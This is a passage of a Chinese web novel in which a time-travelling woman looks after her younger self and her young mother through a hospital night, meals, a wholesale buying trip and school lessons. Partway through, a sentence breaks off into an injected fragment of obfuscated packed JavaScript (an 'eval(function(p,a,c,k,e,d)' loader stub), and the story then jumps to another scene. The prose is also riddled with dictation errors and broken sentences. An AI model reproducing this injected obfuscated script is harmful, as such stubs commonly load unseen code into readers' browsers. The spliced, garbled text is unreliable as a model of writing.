妈妈经常忙到没有时间吃饭,然后跟照顾她坐月子的奶奶吵架,就是糊汤,然后咸菜,没有一点营养,甚至有时候连这些都没有,只有小小的余杭清跟妈妈两个人在家,弄得饭都吃不上。 可是妈妈生小孩之前不是给奶奶买了金项链吗?她们说的好好的,怎么就变了呢。 人的精力是有限的,忙着工作的话,就没有时间好好吃饭了,妈妈也是个很要强的人,也可以说余杭清的要强跟她一脉相承。 两个妹妹和爷爷奶奶一起坐飞机去了很远的地方,就只剩下她和妈妈。 妈妈的胃真的非常不好,经常胃溃疡犯了要连夜打吊针,然后另一只手之后还要回消息。 终于有一天晚上火山爆发。 爷爷奶奶在老家,一时半会赶不下来,爸爸去。区里有事儿要办一时半会也回不来。 小姑娘毫无办法。就把一颗心都高高提起来挂在女人身上。 乞三官九府,来一人搭救。 只要她肯来。以后她做任何事情,女孩都不会跟她再生气了。求她了,只要她肯来。 一定要接电话啊! 女人就在这样的一个寂静无名的黑色出租屋里的夜晚,被一阵急速的铃声晃醒,然后听到对面吓得几乎在唱着抖出的声音,“姐姐救命,我妈妈胃痛,你能不能……来我家一趟!” 房间里伸手不见五指,下床的时候甚至连拖鞋都穿反了两只,可她无暇顾及,到门口,连换鞋都觉得浪费时间,干脆直接不换了,连衣服也不穿,抄起手机钱包下了楼。 平时只有两三阶的楼梯,这回甚至绊了她一个跟头,堪堪稳住之后,就立马急步接着往前跑向路口然后招手叫了出租车,她毫不怀疑现在余杭清和妈妈在家。 上了车就立马塞了100块钱给师傅,“去柏溪十字路口。麻烦尽快。” 好奇怪,平日里蠢钝滞塞的脑袋一到着急的时候便运行的格外流畅。 还在路上呢,喻衍竟然又额外拿出来200递给师傅。“我多给您200,您待会在楼下稍微等我一下,家里人生病了比较着急。想尽快到医院,你看行不?” 出租车司机当然满口答应。光这300块钱都够她跑今天一晚上的了。不就等十几分钟接个人嘛,完全没问题。 这一刻女人比任何时候都庆幸,还好自己。来这儿的第一件事情是赚钱,有赚一点小钱。让她在此刻显得不那么无力。 一下车便淋了兜头而下的冷雨,可她无暇估计被打湿的单薄睡衣,只一股脑的爬了楼梯往上冲拍响3楼的那块老式木质门。 “余杭清,开门,我到了!”女人的头发被雨水胡乱的糊在惨白一片的脸上,睡衣已经完全打湿了,雷电啪的一闪,照亮她的脸的时候,甚至让人分不清是人是鬼。 这一刻哪怕是鬼也是天神下凡。 余杭清来不及细看,刚打开门,这人就像一尾灵活的鱼一样,游了进去,如有神助般找到妈妈所在的房间,一脚踹开门。 女人其实没从成年人的视角见过自己妈妈的,至少没从成年人的视角见过此时的妈妈。 她脸色苍白,紧咬着唇。额头豆大的汗滴往下淌。青筋抱起,紧紧捂着肚子。看起来脆弱又可怜。 下意识的女人一个公主抱。毕竟面前清瘦孱弱的。人迅速抱起。嗯回头自然而然的吩咐小姑娘“跟我走,我带你们去医院。” 她抱着人大马金刀的走在前面,小姑娘顺手抓了钥匙拽上门。紧跟在后,两个人都跑的很快。 一下车就行云流水般迅速拽开出租车后头的车门,抱着人坐到后头,“去中医院。”小姑娘自然而然的挤在旁边,手里拎着她妈的拖鞋。有些惊慌不安的看向女人。 女人抱一个安抚性的,扬起嘴角,眼神里却冷淡的笑。“没事儿的,小宝。” “待会去。医院稍微看一下就好了。不怕啊。”她涂着护手霜的有点微润滑腻的手。落在女孩手上的时候有点儿汗津津的。不知道是在安慰女孩还是在安慰自己。 其实也不算什么大事儿,至少上辈子她妈在她死之前都活的好好的。 可是恐惧自心底生发的时候是不管事实的。现实就是她现在很疼,很难受。被自己一路抱出来,连点反应都没有。 下了车依然抱着人走在前面。力气好像用不完似的,跑上跑下的。挂号,描述症状,取药。陪着人坐在走廊的板凳上。让妈妈躺在自己的腿上扎针。 大概一个多小时吧。那时候医院效率挺高的,就好像。过了几辈子那么长。 等妈妈扎了半个多小时针,整个人状态稍稍转好。躺在她腿上,睁开眼睛,朝她笑一笑。跟她道谢。“谢谢你啊,喻老师。这么晚还麻烦您过来。我们家小鱼也真是的。这么晚给您吵醒。” 她看见她了。 又与此同时,终于失去了她。 她不再是电话里夹杂着电流的模糊声音,而是真真实实睁开眼睛与她四目相对的人。 张颐一醒来就坐直了。在面对外人的时候很有分寸感。不再躺在她的腿上,也不再靠着她的肩膀。礼节周到,没什么问题,却一下子让女人的心空了一块。 小姑娘跟着跑上跑下的,也害怕。女人就打发她去楼下的便利店买点粥和方便面回来,胃疼,无非就是没好好吃饭。 待会有些需要口服的药,肯定也得饭后再吃。 女人客套的扯扯嘴角朝着张颐笑。“没关系的,我晚上在家里也没什么事儿。随便写点东西,一不小心就熬到这么晚了。没睡觉,不算吵醒。” 她其实与人情世故方面很单薄,更惘论跟亲近的人客套。说话就显得有种奇怪的语无伦次。非要字字对应才好。 这时候小姑娘带着一身雨水,风尘仆仆的闯进来了。手上是便利店。那种包装好,整个放进温水盆子里热热的粥。一进来就用大拇指摁着吸管的一头猛的插上去。递到妈妈面前。“你先喝点这个,老师让我下去买的。喝完再吃药,胃里能好受点。” 在妈妈面前。余杭清总是习惯称呼喻衍为老师。 喻衍也明白这是一种合理性关系的描述。毕竟老师总好过路上突然认识的要请她吃饭的奇怪忘年交。 妈妈朝她道谢,朝着她笑。夸她有心。她却怎么也听不下去,只是垂落着脖颈,低着头,赵医生在药盒上用黑笔勾出来的剂量一颗颗抠出来,放在手心里,顺手递过去。 她好像不能叫她妈妈了。那叫她名字吧。 张颐。 张仪见她没应。也就心照不宣的不再说了,只是沉默的接过药,就着含糊不清的甜味小米粥一块咽下去。 虽然嘴上这样讲,可对方看起来这样狼狈,怎么样也不像这个点还清醒着熬夜。简简单单就出门的样子。 那小姑娘考虑的周全,买了三份粥,一份小米,两份黑米,嗯她俩手上是偏甜一点的黑米粥。小姑娘嗯喝得很仔细,也不知道是无聊还是什么的把最后的塑料底子撕得吱吱作响。 女人只是沉默着,掩盖着收了。半晚上的疲惫,坐在那儿。松柏一样的笔直孤寂,直到药效再起,妈妈,有些眩晕的把头靠在她的肩膀上,她的嘴角才略微牵起一点笑意。 其实刚来此间的时候,她都没想过要见她,包括意识到此间还有自己的时候,猜想过家人也在,依然也没想着见她。她们之间的关系太别扭,也太繁杂了,如果她还是注定更爱别人的话,这份爱好像也没什么所谓,总是充斥着指责和痛苦的唾骂,一提到就让人直掉眼泪。 可是接到电话,听到她不舒服的时候,还是完全大脑一空。都没来得及想什么,就跑到路口了,那第一反应就是赶紧接她去医院,看看什么情况。 其实真的是直接吵醒来的,她今天特别累,备课备到十一点多哟写小说写到快两点。好不容易两点多睡着,三点又被一通电话砸醒。 但是她不想说,总觉得说出来就有了,携恩图报的意味,显得很奇怪。我对你好,或者我给你什么东西,都不用跟你强调我得来是多么辛苦,你只需要知道,我想给你,想你用得上就足够了。 喻衍靠在墙边上,眼神明灭不定,不知道是睡着了还是没睡着。那点儿雨终究是被她认识,楼上楼下的跑给蒸干了,散乱的头发垂落下来。低着头,碎发遮住了眼睛,看不清情绪。 这么直挺挺的坐着睡了一晚上,第二天天早上她还得去上课。 她给余杭清写了假条递给班主任,让小姑娘自己在医院守着。然后自己去上班。 越是精神恍惚的时候,好像越不容易出差错。女人的大脑构造好像跟别的人都不怎么一样,平常活得好好的时候就显得平庸,稍微一刺激却显得还能用。 那些知识早刻进她脑子里了,倒出来就行,顺顺当当的把两节课讲完。等第四节下课铃一响就拎着包冲出学校。 一到学校门口就坐了公交车到上面医院,楼底下买两份盒饭拎上去,就是三个人的午餐。 至于为什么不买三份,因为百忙之中,这个女人还要坚持自己的减肥计划。从小姑娘碗里稍微克克扣一点就够了。 小孩子嘛。也心甘情愿。 一连三天都是如此。等到后头不在医院了,她就。带了饭送到家里去。她生病那天是星期二,到星期五基本上从医院就出来了。 星期六那天,女人就带了自己亲手煲好的母鸡汤和十字路口买的汉堡一块过去。 她熬了挺久的,用的压力锅,里面儿还放了胡萝卜,冬瓜和土豆,不过那几样切的比较少,还是以肉为主,上面浮了厚厚的一层浅黄色鸡油,又撒了葱花。准备了暄软热腾的百吉饼,就搁楼下饼店里买的。 刚开始做饭的时候学的就是她妈。这种清淡的家常菜对女人来说简直小菜一碟。 病人就是要吃好的呀。虽然在外面买的盒饭呀,瓦罐汤之类的也算是肉,不过总感觉没什么营养,还是得自己搁家做。 她终于正经的。缓慢的做好准备之后。敲响了那扇门。 门吱呀一声打开,露出小姑娘和她像了七分的脸。那琥珀色的眼睛仿佛一下子就灌满了光,也不知道是因为见着她,还是见着她手上汉堡袋子。“姐姐,你来啦!” 手上的汉堡和煲汤的饭盒被一并接过去,女人装作十分自然的样子。不经意的提起母亲的病情,“怎么样?今天好点了吗?我炖了点汤,想着给你们带过来一些。” 小姑娘笑得很高兴,“早就好啦。我就知道你要来给我送,今天都没让我妈煮饭呢。” 女人用手指勾勾她的鼻梁,“什么叫就知道,你看见我发的微博啦?”甚至丝毫没什么意外,只带着点单纯的调笑。 “嗯哼,每到周末你不都会做点好吃的吗?要么悄悄让我吃点嗯。要么就跟今天这样给我送到我家?”小姑娘一副一切尽在掌握的表情,微微撇着嘴,傲娇可爱。 行吧。 小姑娘自然而然的接过,女人带来的汉堡大快朵颐,一口一口吃的,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这里的一切对她来讲都有种陌生又熟悉的恍惚感,像是在做梦似的。 于是,在这梦境般的端庄持重之下,她见到那人今天穿了件好看的卡其色长裙,把。长长的卷发低低扎在耳后穿着拖鞋基拉着来到了她身边,带着病容未褪尽的苍白,笑脸。“谢谢你啊,喻老师。” “又让您费心了。” 蛮客套的话。女人既说不出不费心,又说不出其她。只看着她笑。不过这时候年纪也算小,以厚的脸皮称得上一句年轻腼腆。 蛮好笑的,回来那年都二十三了,结果买身份证的时候,硬生生买了个十八岁。因为还没有身份证的时候就已经开始写作了,想凹一个十七岁天才少女的人设,感觉在某江比较吃香。 虽然大概只是占了时代的红利,全职作家比较少,像她这种日更的基本更是少,虽然那时候不是全职,但是出名也确实快一些。 总归言之正传,很多人都寻思她年纪可小了。那时候。学校统一登记,还闹了笑话,不知怎么传着传着传出去就成那时候还是个跳级神童了。 实际上要真是跳级神童。在那个时候也会有很多人记得的。 有种莫名其妙的好笑,早知道就不弄那么小了。 不过现在倒是可以倚小卖小,年纪轻的话不知所措应该很正常的,她垂着脑袋看着母亲喝自己做的汤,有一种恍如隔世的感觉。 上一次给母亲做饭,还是大三那年寒假。大四就忙着出去实习了。 诡异的亲近感,让三个人被捆在一起,一个啃汉堡,一个喝汤,一个坐在那看着她们俩吃,也不显得尴尬。 等吃完预言,就走了,她好像没有很多理由留下来。又几乎像是落荒而逃。不知道该怎么面对母亲,不知道该怎么面对那双跟她如出一辙的琥珀色眼睛。 太奇怪了。 这个时候的母亲竟然跟她现在也只差了五六岁吧。 像是大姐姐,却已经是母亲了。 那时候写书的人大多闭门造车,像女人这种频繁分享写书日常的就稍微少一些,她在微博上活跃互动,甚至贴出自己的个人社交方式,有时候还直播,社交平台,为了吸引受众,给了很大的推流,完完全全像小明星一样的。 那时候某博刚刚跟某直播软件联动,喻衍干脆直接找上了直播软件后台私信问对方。 那时候也是初生牛犊不怕虎,完全不害怕被别人截图保存当黑历史的。 直接开门见山,第一句话就是[您好,我是作者拂晓余杭,现在在某博有快两百万粉丝。然后也出版了几本书,相对来讲比较有影响力,想跟咱这边达成合作,引流到我们平台,您看您这边有没有意向呢。] 出乎意料的对方回得很快,基本上没过三十分钟,就看到有些激动的消息。[您真的愿意入住吗?条件是什么样的呢?我们这边可以给到您一个月左右的首页推广曝光,然后推广费这边可能会相对低一点,不过您如果来的话,分成这边,我们肯定是绝对最优的,一九分也可以!] 喻衍要的就是她们这句话,不过她假意退一步,想到了更有趣的东西。[其实我也是看中咱们平台的前景,想要有一个跟读者实时互动的平台,也希望您这边能够更好的发展下去,丰城这边呢,我希望可以定,在三七分左右,我七您三——] 这句话打完还没发出去,就看到对面又传来一句。[不,只要您肯来,我们不要分成也可以!] 但是喻衍还是把这句话发出去,她知道这个平台的前景也不想闹得太僵,没什么趁火打劫的意思。[三七分就可以了,平台维护也需要花钱,或者我还可以免费宣传你们,推广费的话象征性给一点就行,你们随意,我比较倾向于推广入股,这样你们在资金链方面没什么压力] [然后首页推荐的话,我可能想要时间更久一点,也倾向于这种流量机制可以稍微偏向我一点,能让更多人通过我看到平台,看到你们的努力。] 这番话说的很温柔,几乎是以退为进。 对面不知道被震撼住了还是什么,过了三分钟才发来好长一段话。[我们这边最后敲定可以给您百分之七可以吗?就是全额推广费入股。然后这边首页曝光给您延长到三个月左右,另外分成就按您说的,三七分。] [真的特别感谢您对我们的信任,您看我们什么时候签合同呢?] 其实喻衍在得到秒回的时候也很震惊。那可是后来现象级大爆的app创始人竟然用这种极其谨慎,甚至是几乎捧着讨好者的语气跟自己讲话。 两方都觉得自己占到了便宜,所以很愉快的就达成合作。 大概是首页推荐起了作用,用户一点开网页,一不小心碰到弹窗,就落进了自己直播间。 每次一打开直播弹幕滚得飞快,好多人问她新书什么的,每一次都让喻衍有那种难以言喻的震撼。 再加上她态度好,基本上有人进来就会打招呼,多少都愿意说两句话说两句话,有些不好意思了就会有人打赏。 光是直播这一方面的收入也显得相当可观。 钱好像像滚雪球一样呼呼啦啦的,很快就滚的越来越大了。 喻衍的朋友圈完全就不缺人,别人想加几千个人,可能还需要地推她,想加几千个人完完全全轻轻松松的,甚至还买了几个手机号,专门拿来注册微信。 虽然□□算得上她孩童时期的一抔净土,里头大多是些一起吐槽拼字的作者,还有早期活跃的,给了她很多支撑的读者。 智能手机开始慢慢普及,不过还是像砖头似的又小又厚,不怎么方便,她还是习惯用电脑,闲的没事儿就往朋友圈发发微商广告,这时候的人对暗广还不太敏感,轻描淡写几个字,就能带来很多销量。 喻衍甚至怀疑她自己是天才了。 她从一开始就想好了要做的方向,一五年原创电商还没有饱和,她要做自己的个人品牌要做服饰,要做女孩子穿起来既舒服又好看的衣裳,要做像想象中小说女主一样各式各样或娴静温柔或强烈鲜明的衣裳。 货源方面,虽然最方便的是一件代发,但是问题在于没有办法确认,商家发出去的和发给自己的样品究竟一不一样,实在显得不那么保险。 起初喻衍选择了去本地批发市场拿货,省城富康路那里头档口。别的不讲,本地批发市场拿货,至少摸到手里的就是拿回去的,质量有保证。 有人到现在都还记得当时余杭清泪眼汪汪的扯着她的衣角,跟她撒着娇。“能不能不要走,你走了我都不想吃早餐了。” 余杭清总是试图留下她,试图考验自己在对方心里的重量,然后发现好像也没什么重量。 喻衍只是静静的站在那里露出一个有些恶劣玩味的笑,然后毫不犹豫的指出她言语中的谬误。“那没招了,一个星期七天我有五天都陪着你啊。” “明天星期六,你在家里,我记得我上周给你带早餐到你家你都没醒吧。” “早餐全都吃成午餐了,吃午餐你妈又不是不给你做。成天净搁这给我撒娇呢。”她说的嫌弃,甚至有些刻意的往旁边撇撇嘴,眼角眉梢却全是包容笑意,把余杭清的两只手并在一起,放在胸前,低垂着眼睛望着。 暖和极了。 她最终还是走了,余杭清把她送到汽车站的时候,脸上还挂着眼泪。 她不喜欢她哭。 所以第一次起了不告而别的念头。 一下车就是扑过来的热浪,省城比起洛城简直热了不止一星半点,又闷又热,压的人喘不过气儿。 喻衍缩着鼻子仅仅抓着斜挎的包,拦了个出租车坐上去,自然而然的跟师傅说。“去富康路。” 倒不是她突然觉得自己坐快三个小时车累着了,想让自己放松放松,完完全全是因为她路痴找不着路,甚至用高铁地图分不清东南西北都会走反的那种。 从纺织城坐了大概二十多分钟就到了下车付给师傅钱,然后站在曾经十分辉煌的档口门口。 那种高反光的玻璃被擦得透亮翠绿翠绿的,富康路三个字,简直称得上金碧辉煌,在阳光下熠熠生辉。 看起来真的,像赚钱的地方。 那时候里头是很热闹的,一进去就能看到摆在外头的立式简易衣架,川版小妹在楼梯间里穿梭,一个个青春靓丽,操着一口夹杂着方言的普通话揽着客。 “您看看我们家这版型,这面料,放到别的地方,您就是大几百也未必拿得下!” 喻衍被床板姑娘亲历明亮的声音吸引就走进店里,看到堆积如山的货物和坐在板凳上翘着二郎腿的女老板。 女老板穿的很漂亮,上身是那种豹纹衬衫,下身是黑色皮质短裙,腿上蹬着时髦的网状丝袜,脚上一双红色高跟鞋烫着,特别流行的离子烫,又用那种时兴的金色抓夹,整个抓起来有种干净利落的风情。 她瞥过来一眼,然后向喻衍打招呼。“你好,来拿货的吗?我叫向宁。你叫我向老板就好。”她伸出手,一点都不扭捏的大方。 喻衍就顺势握上去,握到她手心薄薄的茧。这是生活的痕迹。她由衷的赞赏,这是个厉害的老板。 “你好,我叫喻衍,来拿货的。看您这边儿板式啥的,还都挺新鲜的风格跟我的网店也适配,您这样,墙上这件那件还有旁边这件一样给我先拿一手货,我回去先拍图,试着销售一下,如果卖的好,您就是我这边长期货源。” 一首就是从最小码到最大码,这件衣裳的所有码数加在一起,四五件算是一首,喻衍指了上面的三四件也就意味着她今天最起码要拿,二十多件货回去。 喻衍也不矫情,伸手摸了摸墙上的毛呢料子裙,又用手捻了捻,旁边卡其色毛衣,这家店倒是真材实料。 兴宁摆摆手又坐到她椅子上去,自然而然的拿起手机低下头,大概也有其她微商从她这拿着货,对方忙碌的打着字低着头,毫不犹豫的甩出来一句。 “行,那你留个地址电话,然后先交百分之五十的定金,等货到完全付款,另外我们这边不包邮,听你口音应该也是咱这人周边区县的话,可能邮费得有快一百块钱,你做好准备。” 做好准备做好什么准备喻衍觉得她自己做不了这个准备过来的车票才二十五块钱啊,这堆衣服邮回去就得快一百,谁知道了都会崩溃的。 尽管现在手头已经有些闲钱,她还是觉得不安心,下意识的吝啬,可惜。 “还是说货少的话,你就人肉背回去,二十多件也不大多,这边大一点的袋子我们也有,三十多块钱挺结实的,你要我给你拿一个。”女老板似乎对这样的场景习以为常,没过多会儿就抬起头撇她一眼,从旁边拿出来一个质量还不错的大方形塑料袋子。 招招手就把外头的穿版小妹叫进来,然后毫不犹豫的报出喻衍刚刚选出的那几件衣裳。“这件这件还有那件,另外旁边这个也给她拿一手,全部装在这个袋子里,然后方便搭的配饰也带一些。”她大概记性很好,说这些的时候很从容。 喻衍瞠目结舌的站在那里。对方似乎没说两句话,就低下头继续摆弄她的手机,她是真的没想到人家能记住自己要什么货?她还没写纸条呢。 看到小妹真的往袋子里装那些配饰毛衣链,耳环什么的,就让喻衍有些惶恐,她对这些进一步怎么了解对方,随意塞进来的,或许不那么好搭配,她上前一步摆摆手。“这些就不用了吧……” 却见喻衍,抬起头,朝她笑一笑。“你先拿着,当我送你交个朋友,搭上这个之后很多基础版型的衣服就能显出好,看来不那么单调。” 想来对方在衣着上是很有见解的,穿的时髦,讲话也大方。 怪不得做生意能这样厉害。 喻衍甚至有些崇拜。 衣服装到袋子里,沉甸甸的,质感是真的不错,喻衍当场就把钱给出去了。甚至一个激动又指着墙上挂的好几件当场下单。 最后装了满满两袋子,一只手一个沉甸甸的,甚至有些拎不动,只好还是留下地址,让老板帮忙代发了。 后面喻衍还逛了很多档口穿过备货挤得很满的,有些拥挤的走廊,绕过一家又一家,一样又拿了不少,只是大概是第一次见到的那个人,所以印象格外深。 等到了门口手上还是拎着满满两布袋,有种满载而归的喜感,腰间甚至还多了个做生意人最常用的装零钱的挎包,背后还背了个背包,装着看到的适合搭衣服的漂亮配饰。 女老板的话启发了她。 配饰更是氛围感不可或缺的一部分,像她这样长得不够漂亮的人,要把衣服穿得好看,这些东西必不可少。 喻衍甚至当下就决定了,回去就要激情下单几本衣着方面的书,好好学一学搭配什么的。 干一行,干好一行。 尽管现实是,她坐上出租两袋子衣服紫色,一袋的后备箱,一袋放在后座,她跟操着厚重乡音的司机画着家常。 然后又一次坐上大巴,摇摇晃晃的回了家,刚才她还在档口瞧见一见,特别适合余杭清的衣裳,她给她的宝贝买了特别漂亮的吊带裙,像是白月光。 有点期待见面了。 8. 第 8 章我永远不会嫌弃你 喻衍想得很美好,实际上下车的时候狼狈极了,背上背着包,腰前挂着包,另外一个胳膊还挎着一个包,下车之后还得去车底下放行李箱的地方拿她那两个装满了衣服的大包,整个人完全大包小果的,生怕一会儿肩上的滑落下去了,一会儿手上的拎不动又掉了。 提前打了电话回去,这一次她给年少的自己办了卡,她最想要的一个电话卡,可以申请自己的□□号微信号,可以自豪的跟小朋友们讲,回去□□联系。 然后就被小朋友这么联系到了。 小城的夏天有种清爽的舒适卧坐在山里,三面环山,好像在说,进来吧,这儿准保凉快。 匆匆忙忙连滚带爬的,下了车就看到早早站在那翘首以盼的余杭清,眼睛里完全是雀跃欢喜的光。 一时间喻衍竟然一拍脑袋,有些庆幸自己回来的正是时候,刚好是周六,刚好是下午,刚好余杭清有时间来接。 余杭清毫不犹豫的接了,她手上最大的那个包裹几乎已经比她整个人都要大一圈了,拎的时候咬牙切齿的,差点整个人完全往后仰倒过去。 喻衍手腕一松被吓了一跳,生怕她不小心闪了腰,这个年纪要是腰椎出点问题,伤到脊骨那后果简直不堪设想,几乎是下意识冷下脸,从她手中把那个包裹夺过去,冷冷的训斥。 “你干什么受伤了怎么办?你知道这玩意儿有多重吗?你就去抢。” “要是你腰受了什么伤,我告诉你就是一万件这些衣服也比不上!” 余杭清被人训了,却还是笑眯嘻嘻的,完完全全的高兴。 她很要强,可是这一次好像有人真的十分心疼她的要强。 平常一起去超市买东西的时候,爸爸就一个人当甩手掌柜,在前头付了钱就走,妈妈一个人拎得很重,另一只手还得牵着妹妹。 余杭清就永远要强,永远装作十分厉害的拎起,十斤重的大米拎起好大一袋子蔬菜水果的超市塑料袋,拎起一桶油。拎起很多很重的东西。 她总是笑着跟妈妈说不重,然后她妈妈也就真的觉得她拎这些东西不重了,自然而然的交给她拎,然后牵着妹妹的手,挨着身子跟妹妹聊着天,任由她一个人负气的走在前面。 余杭清总是恨,总是不甘心,总是觉得有些愤怒的可以,她们怎么可以这样呢?可是下一次还是不由自主的挑了最重的拎着,然后一个人走向前去。 她还是不忍心。 不忍心妹妹两只手,拎着两排酸奶,撅着屁股弯着腰,不忍心妈妈一手拎着一个很重的塑料袋,等回家手心就高高肿起。 她从来不忍心别人,却很少有人不忍心她自己。 可是现在这个人真的出现了,对方的手掌已经高高肿起了,拎着特别特别重的东西,从脖子到腰再到肩膀挂满了包,背后甚至还有一个,可是还是心疼她,不让她帮忙,这样愤怒地训斥自己。 她怎么这么好啊,怎么连骂人都骂的这么好听,余杭清忍不住有些崇拜,甚至是敬仰。 喻衍或许真的是上天派下来拯救她的神明。 于是她眯着眼睛带着眷恋自然而然的拍拍她背后的背包,示意对方脱下来自己背又自然而然的拎走,她肩上挎着的那个。“这两个样轻一点给我吧,没关系?” 余杭清有些心疼的按着肿起来,甚至有些发烧的手掌心,然后放在嘴边吻了吻。贴在她柔软稚嫩的脸蛋上。“好辛苦啊,我心疼你……” 喻衍把包放在地上,弯着腰朝她笑,大口大口喘着气,往她脑门上一拍。“小孩子知道什么辛苦,一边玩去……期不期待我给你买的新衣服,特别好看的小白裙?” 喻衍不接受她这样的心疼,又或许说不感接受这样的心疼。 如果总是自怜的话,她会太过心疼自己,然后什么都做不下去,就像纵容自己一直玩的话,学习成绩就会很差。 话题转的很生硬,可是余杭清还是高兴的跳起来带着背后沉重的背包。“真的吗?是那种书里写的像初恋一样的小白裙,那不得好看死了,姐姐,我简直爱死你了!” 她甚至跳起来借着情绪激昂的档口,往喻衍的脸上亲了一下,对方最近好像很热衷于保养皮肤,带着那种玫瑰花露的香气,软乎乎的,特别好,亲。 两个人一路气喘吁吁的把这些东西搬到玉岩的出租屋,还好那房子租在一楼,但凡再多上一层,她们俩都得一块倒地。 喻衍现在已经适应了,跟年轻的母亲打电话,像是在一位久违的朋友。“张姐,小余今天在我这边。我想着要不今天晚上就让她先睡我这儿,然后明天再给她看一下她那个数学题?” 妈妈习以为常的应下,然后被旁边小姑娘嬉闹的声音吸引过去。放下电话的时候匆匆撂下一句。“行,那阿清你乖一点啊,记得听老师话。” 又是这么不以为意,喻衍最恨这点儿。 什么事情都可以赚取到她的注意力,什么人都可以得到她的偏爱,唯独自己不可以妹妹有一点小事都着急的不行自己考不及格了还安慰她说没事没事没啥关系。 这谁受得了啊? 喻衍下意识回头想偷觑余杭清的表情,却发现对方笑得很开心,已经自然而然的拉开了她背回来的那个包,然后找到那件白裙换上去。 她长得白,是真的很适合这种白裙子。 这条裙子版型很正,上面是不大,不小的法师尤莉雅芳龄,袖子做的是长款公主泡泡袖裙子本体是那种芭蕾风的a字版,白色纱裙胸前坠着几颗小珍珠,洁白莹润,很衬气色。 小姑娘甚至还有些心,记得在把头发放下来扎成那种半扎公主头,眼睛亮晶晶的,有些忐忑高兴的瞧着自己。“怎么样?姐姐,我漂亮吗?” 她们是如此富有默契对方,甚至都没有询问,就知道裙子的位置,确定以及肯定这东西是给她的。 让喻衍有些忐忑不安的表情,一下子变成忍俊不禁,她眼去眼角的泪意,重新抬起眼,琥珀色的眸子里,泛着极温柔的光。 “好看的我就知道你穿会好看的,简直像小公主一样。” 她甚至用手帮她把底下的裙子掀起来,任由那裙子飘扬起来,像是盛放的花瓣,“多好看啊,像花似的。” 喻衍竭尽所能的夸她,弥补她自卑怯懦的心。“这小纱裙一穿,小肉一掐,我还以为你会跳芭蕾舞呢,赶明儿咱也学一个去。” 从年轻的时候起,喻衍都喜欢心血来潮的去学各种东西,虽然没什么成功的,刚开始妈妈支持她学舞蹈。 结果少儿舞没上了,两天直接在人家一楼的毯子上面就睡过去了,老师和同学们都在二楼练舞了,她在那睡到放学,等妈妈来接,被妈妈说出来笑了好些年。 可是一开始喻衍是想学古典舞的,像那种柔和漂亮的甩着水袖的,声韵典雅的小说里的人一样。翩若惊鸿,宛若游龙,行动处似娇花照水,娴静处如弱柳扶风。 后来就再没学过什么特长了。 可是她想如果余杭清现在有兴趣的话,她就立马掏钱送她去学,管她学什么呢,就算三分钟热度,她练了三分钟,也算得上有三分钟体验嘛。 开心就好啦。 虽然被小姑娘婉拒了。“我不要她们脚要立起来,感觉我的大拇指会直接死掉,我跟你讲我绝对不要再好看我都不要。” 喻衍符合胡俏,没想到是这么个让自己忍俊不禁的理由,最终憋出来一个字。“行。” 两大袋子衣服塞进来就显得狭小的,出租屋更加逼仄了,空出来的地方好像就只剩下床连带着面前不到两平方米雷的一块空地,两个人躺在床上睁着眼睛,睡得实在太早了,睡不着。 然后背对着背刷手机,一个在看小说,另一个也在看小说。 时不时交流一下小说剧情。 虽然说好了早上一起吃早餐,但是喻衍和余杭清依然零个人选择早起,一觉睡到十一点多,然后喻衍打个哈欠起了床,顺道掀开被子,用一个极其矫揉造作的动作,弯下腰拍拍小姑娘的脸。“小猪,起床啦。” “太阳都晒屁股啦。” 余杭清迷迷瞪瞪的睁开眼,看到面前穿着浅蓝色睡衣,弯着腰的喻衍眼里温柔笑意,看到她荡开的衣领里有些明显的汹涌。 避讳似的的微微偏过头。 一不小心红了脸。 两个人晃晃悠悠的出去吃了饭,这个点儿外面基本上没什么卖早餐的,西门口就一家,广东肠粉还开着往那一坐,两个人一人份儿,老板还送个豆浆,热气腾腾的也算快意。 同样不加辣椒,不加榨菜,多浇汤就行。 她们连口味都达到了惊人的统一。 又不如说喻衍实在是过分长情。 她们好像照镜子似的,从最右边的一块开始加起,沾上满满的汤汁放到嘴里,然后强迫正式的再加下一块儿,暖暖乎乎的就着微烫嘴的肠粉咽下去,等吃完了再一口气儿。豆浆一喝打个饱嗝就算彻底完成了。 两个人相视一笑,也不知道在笑什么东西,还是余杭清先开的头。“不是你怎么学我吃饭啊?” 喻衍摸不到头脑,她发誓她真没学,她前二十多年就是这么吃饭的。 不过既然已经被问了,那自然也不能落了下层,她第一反应就是反问回去带着点恶意逗弄小孩子的心思。“啊,可是我比年龄大耶,我都吃了这么多年了,一直都这样的,我还没说是你学我呢……” 她甚至有些做作的把指尖含在嘴里,朝对方露出一个有点绿茶又如何的表情。“怎么办啊宝宝……” 刻意压低夹细的声音显得特别温柔,更何况对方还用这样水光潋滟的眸子看着自己,小姑娘一瞬之间手脚都不知道该往哪儿摆了,只能没事儿找事儿的,把两个人的肠粉盘子叠在一起推到一边去。 两个人不尴不尬的各回各家。 然后一起期待着,第二天早读再见面。 ———————————————— 星期一早上还算清闲,开了一早上升国旗仪式,最后水隔二十几分钟的安全教育就下课了。 下午就得两节课连着上,对于喻衍这个新老师来说,也挑战满满。 拿着蓝色文件夹,故作自然地快步走上讲台,然后先声夺人的喊出一句。“Classbegin。” 然后课代表极其洪亮的声音冒出来。“STANDUP。”小萝卜头们一个一个陆续站起来,大概在五秒以后,然后稀稀拉拉的声音团成一股绳,喊出那句。“Goodafternoonteacher。” 那个时候还是大班教学,班里有八十多个人,往下一看,黑压压的一片,还真有老师的小孩在里面,就像小时候幻想的那样,现在搓磨我,我到时候带到你的小孩肯定给她布置好多作业。 然而现在的喻衍好像失去了那份有些邪恶的生命力,她看也没看那个老师的小孩,曾经的羡慕或者其她都烟消云散了。 只顾及着面前一双双求知的眼。 一道灼热的目光始终盯在她的后背上,却让她丝毫生不起反抗推拒的心思,便清楚这道目光源自于谁。小姑娘今天扎了高马尾,很有精神头,呃,不出意外已经把那份征文写完了。 因为她上课踊跃发言,很显然,没在补作业,这份征文稿大概也算得上自己额外布置给她的作业。 等下课奖励一下她吧,这节课早些下。 喻衍就像是余杭清有点痛苦的生活中最特别的调节剂。 她在余杭清一开始上的那所小学教书,很开明的老师,如果轮到了最后一节课,为了让学生早点放学不拖堂,就会提前讲完,讲完了就放视频,搁那看动画片看的津津有味。 